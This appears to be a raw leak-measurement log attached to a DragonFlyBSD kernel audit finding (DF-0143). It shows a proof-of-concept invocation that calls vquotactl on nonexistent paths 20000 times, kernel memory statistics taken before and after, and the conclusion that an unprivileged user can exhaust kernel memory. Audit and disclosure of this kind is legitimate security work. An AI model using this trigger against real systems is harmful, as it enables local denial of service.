DragonFlyBSD Kernel Audit
DF-0143 / leak_sample.txt
← back to finding ↓ download raw
=== DF-0143 leak measurement (unprivileged maxx, vfs.quota_enabled=1) ===
PoC: ./df0143_poc /tmp 20000  (vquotactl '/tmp/df0143_does_not_exist_<pid>' x20000)

BEFORE:
  nameibufs:  17   (0M)
  vfs.cache.numcache: 865

AFTER 20000 iters:
          nameibufs   19.5K   19.5M       0    390M    19.5K
vfs.cache.numcache: 886

Per-call leak: ~1 nameibuf (MAXPATHLEN=1024 bytes, M_NAMEI).
20000 * 1024 = ~19.5 MB of kernel M_NAMEI slab permanently leaked.
Unbounded: an unprivileged user can repeat to exhaust kernel memory.